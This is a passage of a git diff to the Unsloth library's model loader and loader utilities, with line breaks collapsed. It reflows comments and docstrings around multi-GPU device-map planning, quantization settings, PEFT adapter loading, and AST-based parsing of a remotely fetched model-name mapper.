resolve_model_class(AutoModelForCausalLM, text_config)if text_class is None or not _is_family_text_decoder(getattr(model_config, "model_type", ""),@@ -1959,12 +1811,10 @@ class FastModel(FastBaseModel):_apply_text_only_key_mapping(kwargs, model_config, text_config)model_config = text_configis_vlm = False- # model_config is no longer the repo's config, so anything rebuilding it from model_name (the- # device-map planner) sees a different model.+ # model_config is no longer the repo's config, so anything rebuilding it from model_name (the device-map planner) sees a different model.text_only_decoder = Trueelse:is_vlm = False- # If num_labels is set, use AutoModelForSequenceClassification.for _cfg_key, _cfg_val in task_config_attrs.items():set_task_config_attr(model_config, _cfg_key, _cfg_val)if auto_model is None:@@ -1972,10 +1822,7 @@ class FastModel(FastBaseModel):from transformers import AutoModelForSequenceClassificationauto_model = AutoModelForSequenceClassificationelif is_vlm:- # Some repo-code VL models register only a generic auto class (Nemotron-VL uses- # AutoModelForCausalLM, DeepSeek-OCR AutoModel), so the VLM auto class raises "Unrecognized- # configuration class". Fall back to what the repo registered, matching the CONCRETE class- # name, since transformers resolves remote code by that exact name.+ # Some repo-code VL models register only a generic auto class (Nemotron-VL uses AutoModelForCausalLM, DeepSeek-OCR AutoModel), so the VLM auto class raises "Unrecognized configuration class". Fall back to what the repo registered, matching the CONCRETE class name, since transformers resolves remote code by that exact name._auto_map = getattr(model_config, "auto_map", {}) or {}_vlm_class_name = AutoModelForVision2Seq.__name___has_vlm_class = _vlm_class_name in _auto_map@@ -1995,8 +1842,7 @@ class FastModel(FastBaseModel):load_in_4bit_kwargs = Falseload_in_8bit_kwargs = False- # FastBaseModel remaps again via fast_inference_setup. Skip for PEFT: model_name is then the- # base model, and `revision` names the adapter PeftModel loads below.+ # FastBaseModel remaps again via fast_inference_setup. Skip for PEFT: model_name is then the base model, and `revision` names the adapter PeftModel loads below.if not is_peft:base_revision = _revision_for_resolved_repo(base_revision, model_name, old_model_name, mapper_moved_name@@ -2030,16 +1876,13 @@ class FastModel(FastBaseModel):whisper_task = whisper_task,auto_config = model_config,auto_config_from_caller = user_config is not None,- # resize_token_embeddings below replaces the embedding module and hooks do not follow, so an- # offload installed during the load would leave a CPU embedding feeding a GPU decoder. An- # explicit request is left alone.+ # resize_token_embeddings below replaces the embedding module and hooks do not follow, so an offload installed during the load would leave a CPU embedding feeding a GPU decoder. An explicit request is left alone.offload_embedding = (Falseif resize_model_vocab is not None and offload_embedding == OFFLOAD_EMBEDDING_AUTOelse offload_embedding),float32_mixed_precision = float32_mixed_precision,- # Pass vLLM/inference parameters.fast_inference = fast_inference,gpu_memory_utilization = gpu_memory_utilization,float8_kv_cache = float8_kv_cache,@@ -2055,8 +1898,7 @@ class FastModel(FastBaseModel):if resize_model_vocab is not None:model.resize_token_embeddings(resize_model_vocab)- # resize_token_embeddings rebuilds the embedding and drops _hf_hook, so this is the last module- # swap of all, after every repair above.+ # resize_token_embeddings rebuilds the embedding and drops _hf_hook, so this is the last module swap of all, after every repair above.try:from unsloth.models.vision import _repair_dispatch_hooks_repaired = _repair_dispatch_hooks(model)@@ -2071,7 +1913,6 @@ class FastModel(FastBaseModel):f"the vocabulary ({type(_exc).__name__}: {_exc}).")- # In case the model supports tagging, add the unsloth tag.if hasattr(model, "add_model_tags"):model.add_model_tags([@@ -2088,8 +1929,7 @@ class FastModel(FastBaseModel):if load_in_4bit:# Fix up the bitsandbytes config, but respect a user-provided quantization_config.if quantization_config is None:- # load_in_4bit is the requested flag, not the effective one: a non-bnb checkpoint had bnb- # disabled by check_and_disable, so a synthetic bnb config would corrupt its real one.+ # load_in_4bit is the requested flag, not the effective one: a non-bnb checkpoint had bnb disabled by check_and_disable, so a synthetic bnb config would corrupt its real one.try:from unsloth_zoo.utils import get_quant_type_stamp_bnb = get_quant_type(model.config) in (None, "bitsandbytes")@@ -2098,14 +1938,12 @@ class FastModel(FastBaseModel):if _stamp_bnb:compute_dtype = dtype_from_config(model.config)quantization_config = {- # compute_dtype is sometimes not a string."bnb_4bit_compute_dtype": compute_dtype,"bnb_4bit_quant_type": "nf4","bnb_4bit_use_double_quant": True,"llm_int8_enable_fp32_cpu_offload": False,"llm_int8_has_fp16_weight": False,- # Whatever the load really used. None here describes a layout that never existed, and saving it- # makes the adapter unreloadable.+ # Whatever the load really used. None here describes a layout that never existed, and saving it makes the adapter unreloadable."llm_int8_skip_modules": _loaded_skip_modules(model.config),"llm_int8_threshold": 6.0,"load_in_4bit": True,@@ -2123,10 +1961,7 @@ class FastModel(FastBaseModel):_tag_model_with_fp8_torchao_config(model, fp8_mode)if is_peft:- # From huggingface/peft#184-- # Gemma4 ClippableLinear wraps nn.Linear and PEFT cannot inject LoRA on it directly, so patch- # PEFT to target the inner .linear child (same patch as vision.py). See huggingface/peft#3129.+ # Gemma4 ClippableLinear wraps nn.Linear and PEFT cannot inject LoRA on it directly, so patch PEFT to target the inner .linear child (same patch as vision.py). See huggingface/peft#3129._clippable_linear_cls = Nonetry:from transformers.models.gemma4.modeling_gemma4 import (@@ -2174,26 +2009,22 @@ class FastModel(FastBaseModel):_LoraModel._create_and_replace = _patched_car- # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet, and it always- # loads in-process, so warm it even under fast_inference.+ # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet, and it always loads in-process, so warm it even under fast_inference._prefetched = maybe_prefetch_hf_snapshot(old_model_name,token = token,revision = revision,cache_dir = kwargs.get("cache_dir"),local_files_only = local_files_only,- # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.fast_inference = False,force_download = kwargs.get("force_download", False),- # Leave use_safetensors auto, since inheriting the base format could skip a safetensors-only- # adapter; adapter_only restricts the warm to adapter files plus root aux.+ # Leave use_safetensors auto, since inheriting the base format could skip a safetensors-only adapter; adapter_only restricts the warm to adapter files plus root aux.adapter_only = True,)# The child did the forced download; clear the flag so the load reuses the warm cache.if _prefetched and kwargs.get("force_download", False):kwargs["force_download"] = False- # Forward cache_dir so the load reads the warmed adapter. No subfolder: that targets the base- # checkpoint, and adapters live at the root.+ # Forward cache_dir so the load reads the warmed adapter. No subfolder: that targets the base checkpoint, and adapters live at the root.peft_load_kwargs = {}if kwargs.get("cache_dir") is not None:peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]@@ -2221,8 +2052,7 @@ class FastModel(FastBaseModel):_lift_endpoint_hooks_onto_adapters(model)except Exception:pass # never block loading on a placement nicety- # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back to the- # original loop, an attention-only adapter keeps the grouped path.+ # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back to the original loop, an attention-only adapter keeps the grouped path.try:from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (auto_enable_grouped_moe,diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.pyindex 7df2605565d..8f14d073593 100644--- a/unsloth/models/loader_utils.py+++ b/unsloth/models/loader_utils.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -34,15 +31,12 @@ from .mapper import (_add_lower_only,)-# The alias helpers a fetched mapper.py may call, resolved to the INSTALLED implementations:-# _get_new_mapper reads such calls as data, taking the table and the two literal strings out of-# the AST, so the fetched text never supplies behaviour.+# The alias helpers a fetched mapper.py may call, resolved to the INSTALLED implementations: _get_new_mapper reads such calls as data, taking the table and the two literal strings out of the AST, so the fetched text never supplies behaviour._MAPPER_HELPERS = {"_add_with_lower": _add_with_lower,"_add_lower_only": _add_lower_only,}-# huggingface/transformers#26037 allows 4 bit loading.from transformers import __version__ as transformers_versionfrom unsloth.models._utils import TorchAOConfigfrom unsloth_zoo.utils import Version, get_quant_type@@ -65,7 +59,6 @@ BAD_MAPPINGS = {def _get_torchao_fp8_config(fp8_mode):- # Lazy import so a broken optional vLLM install does not break `import unsloth`.from unsloth_zoo.vllm_utils import _get_torchao_fp8_config as _implreturn _impl(fp8_mode)@@ -119,8 +112,7 @@ def prepare_device_map():UNSLOTH_DEVICE_MAP = "unsloth"-# Same planner, different answer when it declines: every veto path ends in "sequential", which-# fills the first device to its whole free budget, wrong for a caller that picked several cards.+# Same planner, different answer when it declines: every veto path ends in "sequential", which fills the first device to its whole free budget, wrong for a caller that picked several cards.UNSLOTH_BALANCED_DEVICE_MAP = "unsloth_balanced"_PLANNED_DEVICE_MAPS = {UNSLOTH_DEVICE_MAP: "sequential", UNSLOTH_BALANCED_DEVICE_MAP: "balanced"}@@ -129,13 +121,7 @@ OFFLOAD_EMBEDDING_AUTO = "auto"class _DefaultDeviceMap(str):- """`"sequential"`, marked as the value nobody asked for.-- The env opt-in must upgrade the default and leave an explicit "sequential" alone, and a- plain comparison cannot tell them apart. A `str` subclass keeps the distinction without- changing the value: it equals, hashes and formats as `"sequential"` everywhere, and in- `inspect.signature` too, which a sentinel object would not.- """+ """`"sequential"`, marked as the value nobody asked for. The env opt-in must upgrade the default and leave an explicit "sequential" alone, and a plain comparison cannot tell them apart. A `str` subclass keeps the distinction without changing the value, in `inspect.signature` too, which a sentinel object would not."""__slots__ = ()@@ -144,48 +130,27 @@ DEFAULT_DEVICE_MAP = _DefaultDeviceMap("sequential")def planner_hub_kwargs(loader_kwargs):- """The Hub options the planner's own `AutoConfig` lookup needs.-- It resolves the config a second time, from `model_name`. Without these the lookup can- go to the network behind a `local_files_only` request, or miss a cache-only model and- turn a plan the load needed into a "sequential" fallback.- """+ """The Hub options the planner's own `AutoConfig` lookup needs. It resolves the config a second time, from `model_name`, and without these the lookup can go to the network behind a `local_files_only` request, or miss a cache-only model and turn a plan the load needed into a "sequential" fallback."""loader_kwargs = loader_kwargs or {}hub = {}if loader_kwargs.get("cache_dir") is not None:hub["cache_dir"] = loader_kwargs["cache_dir"]if _get_effective_local_files_only(loader_kwargs):hub["local_files_only"] = True- # Resolving a remote class is a third lookup, and the planner honours code_revision for it; left- # out, the plan is built from the default revision's code and can name a tree the model lacks.+ # Resolving a remote class is a third lookup, and the planner honours code_revision for it; left out, the plan is built from the default revision's code and can name a tree the model lacks.if loader_kwargs.get("code_revision") is not None:hub["code_revision"] = loader_kwargs["code_revision"]return hubdef planner_config_overrides(loader_kwargs):- """Config fields the caller overrides on the load, which the planner has to size for.-- The planner rebuilds the repo's config from a name, so an override living only in- kwargs is invisible to it. `max_position_embeddings` is the one that changes weight- sizes: raise it on learned position embeddings and the planned tensors come out- smaller than the materialized ones, so a map that fitted on paper OOMs.- `plan_device_map_for_pretrained` hands leftover kwargs to `AutoConfig.from_pretrained`,- which applies them the way the load does.- """+ """Config fields the caller overrides on the load, which the planner has to size for. The planner rebuilds the repo's config from a name, so an override living only in kwargs is invisible to it. `max_position_embeddings` is the one that changes weight sizes: raise it on learned position embeddings and the planned tensors come out smaller than the materialized ones, so a map that fitted on paper OOMs. `plan_device_map_for_pretrained` hands leftover kwargs to `AutoConfig.from_pretrained`, which applies them the way the load does."""value = (loader_kwargs or {}).get("max_position_embeddings")return {} if value is None else {"max_position_embeddings": value}def planner_kwargs_with_max_memory(planner_kwargs, loader_kwargs):- """The caller's transformers `max_memory` has to reach the planner as well.-- Once a plan is returned the load gets an explicit dict, and transformers consults- `max_memory` only for a string `device_map` (`_get_device_map` gates the whole- `infer_auto_device_map` branch on `isinstance(device_map, str)`). A budget that used to- bound placement would be dropped in silence, and the plan could exceed their caps or- use a card they withheld. An explicit `device_map_planner_kwargs["max_memory"]` wins.- """+ """The caller's transformers `max_memory` has to reach the planner as well. Once a plan is returned the load gets an explicit dict, and transformers consults `max_memory` only for a string `device_map` (`_get_device_map` gates the whole `infer_auto_device_map` branch on `isinstance(device_map, str)`), so a budget that used to bound placement would be dropped in silence and the plan could exceed their caps or use a card they withheld. An explicit `device_map_planner_kwargs["max_memory"]` wins."""budget = (loader_kwargs or {}).get("max_memory")if budget is None:return planner_kwargs@@ -195,22 +160,12 @@ def planner_kwargs_with_max_memory(planner_kwargs, loader_kwargs):def unmarked_device_map(device_map):- """The default with its marker removed; anything else exactly as it came in.-- For a nested load that must not re-read the value as "nobody chose this". A bare `str()`- would also flatten a caller's `{"": 0}` into text transformers reads as a device name.- """+ """The default with its marker removed; anything else exactly as it came in. For a nested load that must not re-read the value as "nobody chose this". A bare `str()` would also flatten a caller's `{"": 0}` into text transformers reads as a device name."""return str(device_map) if isinstance(device_map, _DefaultDeviceMap) else device_mapdef requested_device_map(device_map):- """Head-aware planning is what a caller who chose nothing gets.-- Only the untouched default is upgraded: a dict, "auto", or a "sequential" the caller- typed is a placement someone chose, and greedy fill is a different execution model.- `UNSLOTH_AUTO_DEVICE_MAP=0` turns it off process-wide, for the multi-GPU operator who- wants that fill back.- """+ """Head-aware planning is what a caller who chose nothing gets. Only the untouched default is upgraded: a dict, "auto", or a "sequential" the caller typed is a placement someone chose, and greedy fill is a different execution model. `UNSLOTH_AUTO_DEVICE_MAP=0` turns it off process-wide."""if device_map is DEFAULT_DEVICE_MAP and os.environ.get("UNSLOTH_AUTO_DEVICE_MAP", "1") == "1":return UNSLOTH_DEVICE_MAPreturn device_map@@ -222,16 +177,7 @@ def planner_quantization_kwargs(quantization_config = None,extra_skip_modules = None,):- """The quantization the planner must size for, as the load will really apply it.-- The config or the flags, never both, since transformers refuses both and loader.py- clears the flags whenever it forwards a config. Bare flags would describe a- full-precision load and raise `DeviceMapInfeasible` on one that would have fit.-- The skip list travels with the flags: SKIP_QUANTIZATION_MODULES stays in compute dtype- as `modules_to_not_convert`, and sizing it at 4bit understates the head device by GiBs- on a large-vocab VLM. A pre-quantized checkpoint carries its own list in config.json.- """+ """The quantization the planner must size for, as the load will really apply it. The config or the flags, never both, since transformers refuses both and loader.py clears the flags whenever it forwards a config; bare flags would describe a full-precision load and raise `DeviceMapInfeasible` on one that would have fit. The skip list travels with the flags: SKIP_QUANTIZATION_MODULES stays in compute dtype as `modules_to_not_convert`, and sizing it at 4bit understates the head device by GiBs on a large-vocab VLM. A pre-quantized checkpoint carries its own list in config.json."""if quantization_config is not None:return {"quantization_config": quantization_config}kwargs = {"load_in_4bit": load_in_4bit, "load_in_8bit": load_in_8bit}@@ -239,20 +185,14 @@ def planner_quantization_kwargs(try:from unsloth_zoo.peft_utils import SKIP_QUANTIZATION_MODULESexcept Exception:- # Built on every quantized load, planning or not, so an older unsloth_zoo must not turn a 4bit load- # into an ImportError. One without the shared list predates the planner that consumes it, so this- # plan was going to decline anyway.+ # Built on every quantized load, planning or not, so an older unsloth_zoo must not turn a 4bit load into an ImportError. One without the shared list predates the planner that consumes it, so this plan was going to decline anyway.return kwargskwargs["llm_int8_skip_modules"] = SKIP_QUANTIZATION_MODULES + list(extra_skip_modules or [])return kwargsdef planner_model_class(config, trust_remote_code = False):- """The model class the planner's own rules pick for `config`, or None if unknown.-- The planner never sees the auto class the load chose. `config` is whatever the caller- passed, while the planner rebuilds the repo's from `model_name`; the two can disagree.- """+ """The model class the planner's own rules pick for `config`, or None if unknown. The planner never sees the auto class the load chose: `config` is whatever the caller passed, while the planner rebuilds the repo's from `model_name`, and the two can disagree."""try:from unsloth_zoo.device_map_planner import _auto_class_forfrom ._utils import resolve_model_class@@ -265,20 +205,13 @@ def planner_model_class(config, trust_remote_code = False):def planner_class_mismatch_reason(loaded_class, planned_class):- """Why the planner's model differs from the one being loaded, else None.-- Overriding the config's own choice gets a map for a module tree the model does not- have: `num_labels` swaps in a `score` head where `lm_head` was planned, and dispatch- refuses with "does not give any device for ... score.weight". Compared as model- classes, since two distinct auto classes can resolve to the same VLM.- """+ """Why the planner's model differs from the one being loaded, else None. Overriding the config's own choice gets a map for a module tree the model does not have: `num_labels` swaps in a `score` head where `lm_head` was planned, and dispatch refuses with "does not give any device for ... score.weight". Compared as model classes, since two distinct auto classes can resolve to the same VLM."""if loaded_class is None or planned_class is None or loaded_class is planned_class:return Nonereturn f"the load builds {loaded_class.__name__}, not the planned {planned_class.__name__}"-# accelerate's max_memory spellings, in the order it tries them: GiB/MiB/KiB are binary, GB/MB/KB-# decimal, and a lowercase trailing `b` on a decimal unit means bits.+# accelerate's max_memory spellings, in the order it tries them: GiB/MiB/KiB are binary, GB/MB/KB decimal, and a lowercase trailing `b` on a decimal unit means bits._SIZE_UNITS = (("GIB", 2**30, False),("MIB", 2**20, False),@@ -290,18 +223,7 @@ _SIZE_UNITS = (def _as_bytes(size):- """A `max_memory` budget in bytes, or None if it cannot be read as one.-- accelerate takes `"10GiB"` as readily as an int, so a caller writes what the load would- have taken. The rules are reproduced rather than imported because this runs before- anything has established accelerate is installed: an ImportError would read every budget- as unparseable and drop the cap in silence. `test_the_local_size_parser_agrees_with_- accelerate` holds the copy in step wherever accelerate is present.-- None leaves the measured free memory in place rather than dropping the device. A bool is- unreadable here where accelerate would take its int value: `{0: True}` is a typo, and a- one byte budget reads as "unusable" to the planner.- """+ """A `max_memory` budget in bytes, or None if it cannot be read as one. accelerate takes `"10GiB"` as readily as an int, so a caller writes what the load would have taken. The rules are reproduced rather than imported because this runs before anything has established accelerate is installed, and an ImportError would read every budget as unparseable and drop the cap in silence; `test_the_local_size_parser_agrees_with_accelerate` holds the copy in step wherever accelerate is present. None leaves the measured free memory in place rather than dropping the device. A bool is unreadable here where accelerate would take its int value: `{0: True}` is a typo, and a one byte budget reads as "unusable" to the planner."""if isinstance(size, bool):return Noneif isinstance(size, int):@@ -333,19 +255,7 @@ def resolve_unsloth_device_map(skip_reason = None,**config_kwargs,):- """Plan a head-aware multi-GPU map for `device_map = "unsloth"`, else return as-is.-- Opt-in only, so nothing an existing caller passes changes meaning. The plan is built- on the meta device: no GPU memory, no weight download.-- Falls back to "sequential" wherever a plan cannot apply, since a model that loads the- old way beats one that refuses to load at all. `DeviceMapInfeasible` is the exception:- the planner raises it rather than spilling a bitsandbytes model to CPU, and swallowing- it would hand the user an OOM instead of a diagnosis.-- `skip_reason` is the caller's veto, for when only the caller can tell the planner- would describe a different model than the load builds.- """+ """Plan a head-aware multi-GPU map for `device_map = "unsloth"`, else return as-is. Opt-in only, so nothing an existing caller passes changes meaning, and the plan is built on the meta device: no GPU memory, no weight download. Falls back to "sequential" wherever a plan cannot apply, since a model that loads the old way beats one that refuses to load at all; `DeviceMapInfeasible` is the exception, raised rather than spilling a bitsandbytes model to CPU, and swallowing it would hand the user an OOM instead of a diagnosis. `skip_reason` is the caller's veto, for when only the caller can tell the planner would describe a different model than the load builds."""# isinstance first: a caller's explicit dict is unhashable, so `in` alone raises.if not isinstance(device_map, str) or device_map not in _PLANNED_DEVICE_MAPS:return device_map@@ -362,8 +272,7 @@ def resolve_unsloth_device_map(if full_finetuning:return _fallback("full finetuning does not use the quantized planner")if is_distributed():- # Every rank already owns the whole model on its own card; splitting on top of that puts every rank- # on every card, a different execution model.+ # Every rank already owns the whole model on its own card; splitting on top of that puts every rank on every card, a different execution model.return _fallback("each rank of a distributed launch owns its own device")if DEVICE_TYPE_TORCH != "cuda":return _fallback(f"the planner has no memory budgets for {DEVICE_TYPE_TORCH}")@@ -372,19 +281,12 @@ def resolve_unsloth_device_map(except Exception as error:return _fallback(f"the devices could not be counted ({error})")- # Popped, not forwarded: max_memory is a named parameter of the planner, so a copy left in- # planner_kwargs raises TypeError, which the handler below turns into a silent "sequential".- # A caller's mapping replaces the measured one rather than editing it: its keys are the devices- # they will let the load use, as accelerate reads it too, so {0: ..., 1: ...} on a four-GPU host- # means GPUs 2 and 3 are somebody else's.+ # Popped, not forwarded: max_memory is a named parameter of the planner, so a copy left in planner_kwargs raises TypeError, which the handler below turns into a silent "sequential". A caller's mapping replaces the measured one rather than editing it: its keys are the devices they will let the load use, as accelerate reads it too, so {0: ..., 1: ...} on a four-GPU host means GPUs 2 and 3 are somebody else's.planner_kwargs = dict(planner_kwargs or {})requested_memory = planner_kwargs.pop("max_memory", None)requested_memory = dict(requested_memory) if requested_memory else None- # Read before probing: mem_get_info initialises a CUDA context on each device it touches, and a- # withheld card is likely busy with the workload it was withheld for. One that refuses (ECC error,- # MIG parent, Exclusive_Process) would also drop the plan to "sequential" over a device this load- # was never going to use.+ # Read before probing: mem_get_info initialises a CUDA context on each device it touches, and a withheld card is likely busy with the workload it was withheld for. One that refuses (ECC error, MIG parent, Exclusive_Process) would also drop the plan to "sequential" over a device this load was never going to use.if requested_memory is None:probe = list(range(device_count))else:@@ -403,8 +305,7 @@ def resolve_unsloth_device_map(except Exception as error:return _fallback(f"the planner is unavailable ({error})")- # Free, not total: this process's context and anything else resident make total an overcommit.- # Guarded, because a card can still refuse mid-probe.+ # Free, not total: this process's context and anything else resident make total an overcommit. Guarded, because a card can still refuse mid-probe.try:max_memory = {index: torch.cuda.mem_get_info(index)[0] for index in probe}except Exception as error:@@ -416,12 +317,10 @@ def resolve_unsloth_device_map(measured = max_memory.get(device)budget = _as_bytes(written)if budget is None:- # Nothing to compare against: what we measured, or for a device we never measured (cpu, disk) their- # value untouched for the planner to read.+ # Nothing to compare against: what we measured, or for a device we never measured (cpu, disk) their value untouched for the planner to read.budgets[device] = measured if measured is not None else writtenelse:- # Under what is actually free: they may know of reservations we cannot measure, but planning above- # free is how a plan OOMs on dispatch.+ # Under what is actually free: they may know of reservations we cannot measure, but planning above free is how a plan OOMs on dispatch.budgets[device] = budget if measured is None else min(measured, budget)max_memory = budgets@@ -460,13 +359,11 @@ def __get_model_name(# Faster row scaling only works if FBGEMM works; otherwise use the slower blockwise type.return FLOAT_TO_FP8_ROW_MAPPER[lower_model_name]elif lower_model_name in FLOAT_TO_FP8_BLOCK_MAPPER:- # Otherwise we use the slower blockwise typereturn FLOAT_TO_FP8_BLOCK_MAPPER[lower_model_name]else:if lower_model_name in FLOAT_TO_FP8_BLOCK_MAPPER:return FLOAT_TO_FP8_BLOCK_MAPPER[lower_model_name]- # No pre-quantized model found. vllm >= 0.12.0 quantizes to FP8 on the fly (returning the original- # name); older vllm falls through to offline quant.+ # No pre-quantized model found. vllm >= 0.12.0 quantizes to FP8 on the fly (returning the original name); older vllm falls through to offline quant.if importlib.util.find_spec("vllm") is not None:import vllmif Version(vllm.__version__) >= Version("0.12.0"):@@ -511,8 +408,7 @@ def _get_new_mapper():new_mapper = ("https://raw.githubusercontent.com/unslothai/unsloth/main/unsloth/models/mapper.py")- # Capped WHILE reading, since requests.get buffers the whole body first, and the deadline is total- # because timeout is per-read.+ # Capped WHILE reading, since requests.get buffers the whole body first, and the deadline is total because timeout is per-read.byte_cap = 1_000_000deadline = time.monotonic() + 10chunks, total = [], 0@@ -530,8 +426,7 @@ def _get_new_mapper():if time.monotonic() > deadline:return {}, {}, {}, {}, {}else:- # read1: the timeout is per SOCKET READ, so a trickling peer resets it forever and the deadline is- # never reached. requests only decompresses inside iter_content.+ # read1: the timeout is per SOCKET READ, so a trickling peer resets it forever and the deadline is never reached. requests only decompresses inside iter_content.raw = response.rawtry:raw.decode_content = True@@ -559,12 +454,10 @@ def _get_new_mapper():else:return {}, {}, {}, {}, {}new_mapper = b"".join(chunks).decode(encoding, errors = "replace")- # Never exec the response: that is arbitrary code execution inside every from_pretrained that hits- # an unmapped name.+ # Never exec the response: that is arbitrary code execution inside every from_pretrained that hits an unmapped name.import ast- # ast.parse builds the whole tree before any literal-only check runs, so this is no defence against- # exhaustion (python/cpython#95588); the byte cap above is.+ # ast.parse builds the whole tree before any literal-only check runs, so this is no defence against exhaustion (python/cpython#95588); the byte cap above is.tree = ast.parse(new_mapper)# Every module-level literal dict, in source order; chosen below.literal_bindings = []@@ -590,24 +483,16 @@ def _get_new_mapper():literal_bindings.append((index, name, literal))def _binding_at(name, before):- """What `name` holds when the statement at index `before` runs.-- The last assignment BEFORE that point: a rebind after the builder ran must- not be read back over what the builder actually saw.- """+ """What `name` holds when the statement at index `before` runs: the last assignment BEFORE that point, so a rebind after the builder ran is not read back over what the builder actually saw."""found = Nonefor index, bound, literal in literal_bindings:if bound == name and (before is None or index <= before):found = literalreturn found- # Statements that really RUN at import: ast.walk reaches into function bodies and dead branches,- # which would fabricate a mapping. Local, because the tests run this body in a bare namespace.+ # Statements that really RUN at import: ast.walk reaches into function bodies and dead branches, which would fabricate a mapping. Local, because the tests run this body in a bare namespace.def _constant_truth(test):- """True/False for a statically decidable condition, else None.-- `not True` is a UnaryOp, so it fell through and its body was read as run.- """+ """True/False for a statically decidable condition, else None. `not True` is a UnaryOp, so it fell through and its body was read as run."""if isinstance(test, ast.Constant):return bool(test.value)if isinstance(test, ast.UnaryOp) and isinstance(test.op, ast.Not):@@ -639,11 +524,9 @@ def _get_new_mapper():shadowed = frozenset(),class_body = False,):- # What ENDED the suite: "return" leaves the function, True the suite, and only the statements ABOVE- # it still see the module global.+ # What ENDED the suite: "return" leaves the function, True the suite, and only the statements ABOVE it still see the module global.for statement in body:if class_body:- # Only the statements ABOVE it still see the module global.shadowed = shadowed | _class_bound(statement)if isinstance(statement, (ast.FunctionDef, ast.AsyncFunctionDef)):continue@@ -654,7 +537,6 @@ def _get_new_mapper():yield from _executed_nodes(statement.body, shadowed, class_body = True)continueif isinstance(statement, ast.If) and _constant_truth(statement.test) is not None:- # Undecidable tests keep their body.branch = statement.body if _constant_truth(statement.test) else statement.orelseended = yield from _executed_nodes(branch, shadowed)if ended:@@ -718,12 +600,7 @@ def _get_new_mapper():# The aliases a newer mapper.py adds live inside build_mappers, which the installed builder cannot know.def _calls_the_builder(node):- """Whether this executed node IS the `build_mappers(...)` call.-- The node itself, not `ast.walk` over it: walking the parent statement- descended back into the deferred children the yield had excluded, so- `unused = lambda: build_mappers(...)` counted as a call.- """+ """Whether this executed node IS the `build_mappers(...)` call. The node itself, not `ast.walk` over it: walking the parent statement descended back into the deferred children the yield had excluded, so `unused = lambda: build_mappers(...)` counted as a call."""return (isinstance(node, ast.Call)and isinstance(node.func, ast.Name)@@ -731,8 +608,7 @@ def _get_new_mapper():)builder_body = []- # From the EXECUTED nodes, with the statement each runs in: a source table rebound after the call is- # not what the module exports.+ # From the EXECUTED nodes, with the statement each runs in: a source table rebound after the call is not what the module exports.exported_names = ("INT_TO_FLOAT_MAPPER","FLOAT_TO_INT_MAPPER",@@ -808,12 +684,7 @@ def _get_new_mapper():source_table = literaldef _source_before_the_builder(name):- """The source table as the builder receives it, mutations included.-- `.update({...})` and subscript assignment are ordinary ways to extend it- before it is handed over; the mutation pass below reads only the EXPORTED- tables. In execution order, and only up to the call.- """+ """The source table as the builder receives it, mutations included. `.update({...})` and subscript assignment are ordinary ways to extend it before it is handed over; the mutation pass below reads only the EXPORTED tables. In execution order, and only up to the call."""current = Nonefor node, _shadowed in _executed_nodes(tree.body):# The SELECTED call, by identity, so two alike calls are told apart.@@ -881,14 +752,12 @@ def _get_new_mapper():if source_table is None:source_table = _binding_at(source_name, builder_index)- # Not the end of the probe: a row-only FP8 repo cannot be expressed through the source table at all,- # so a body that adds nothing is reported so at the end.+ # Not the end of the probe: a row-only FP8 repo cannot be expressed through the source table at all, so a body that adds nothing is reported so at the end.empty_base = not source_tabletables = build_mappers(source_table or {})# Restored at the call below, which REPLACES all five tables.built = [dict(table) for table in tables]- # Literal subscript, literal value, nothing called.by_name = {"INT_TO_FLOAT_MAPPER": tables[0],"FLOAT_TO_INT_MAPPER": tables[1],@@ -897,8 +766,7 @@ def _get_new_mapper():"FLOAT_TO_FP8_ROW_MAPPER": tables[4],}- # Only the helper CALLS: the builder binds its own INT_TO_FLOAT_MAPPER = {}, which the whole-name- # rule below would read as a clear.+ # Only the helper CALLS: the builder binds its own INT_TO_FLOAT_MAPPER = {}, which the whole-name rule below would read as a clear.builder_additions = [(node, shadowed)for node, shadowed in _executed_nodes(builder_body)@@ -906,13 +774,11 @@ def _get_new_mapper():and isinstance(node.func, ast.Name)and node.func.id in _MAPPER_HELPERS]- # In EXECUTION order, so a rebind after the call still empties the table; `rebuilt` stands where the- # build assigns the exports, matched by identity.+ # In EXECUTION order, so a rebind after the call still empties the table; `rebuilt` stands where the build assigns the exports, matched by identity.rebuilt = object()ordered = []for node, shadowed in _executed_nodes(tree.body):ordered.append((node, shadowed))- # At the call that populates the EXPORTS, not at an earlier one.if node is builder_call or (builder_call is None and _calls_the_builder(node)):if builder_rebinds:ordered.append((rebuilt, frozenset()))@@ -944,11 +810,7 @@ def _get_new_mapper():continueif isinstance(replacement, dict):if not replacement and not builder_called:- # An INITIALISER, not a clear: a mapper.py with no build_mappers writes X = {}- # and fills all five- # from a module-scope loop the installed builder reproduces, so reading it as a- # clear emptied- # every table and stopped the upgrade notice firing.+ # An INITIALISER, not a clear: a mapper.py with no build_mappers writes X = {} and fills all five from a module-scope loop the installed builder reproduces, so reading it as a clear emptied every table and stopped the upgrade notice firing.continuetable.clear()table.update(replacement)@@ -1007,8 +869,7 @@ def _get_new_mapper():if isinstance(additions, dict):table.update(additions)elif isinstance(node, ast.Call) and isinstance(node.func, ast.Name):- # An alias not derivable from the source table, applied with the INSTALLED helper from literal- # arguments only.+ # An alias not derivable from the source table, applied with the INSTALLED helper from literal arguments only.helper = _MAPPER_HELPERS.get(node.func.id)if helper is None:continue@@ -1085,7 +946,6 @@ def get_model_name(float_to_int = FLOAT_TO_INT_MAPPER,map_to_unsloth_16bit = MAP_TO_UNSLOTH_16bit,)- # Remap "bad" names (oversized dynamic quants or MoEs).if (new_model_name is not Noneand type(new_model_name) is str@@ -1093,8 +953,7 @@ def get_model_name():new_model_name = BAD_MAPPINGS[new_model_name.lower()]elif new_model_name is None and model_name.lower() in BAD_MAPPINGS:- # Some bad names (the 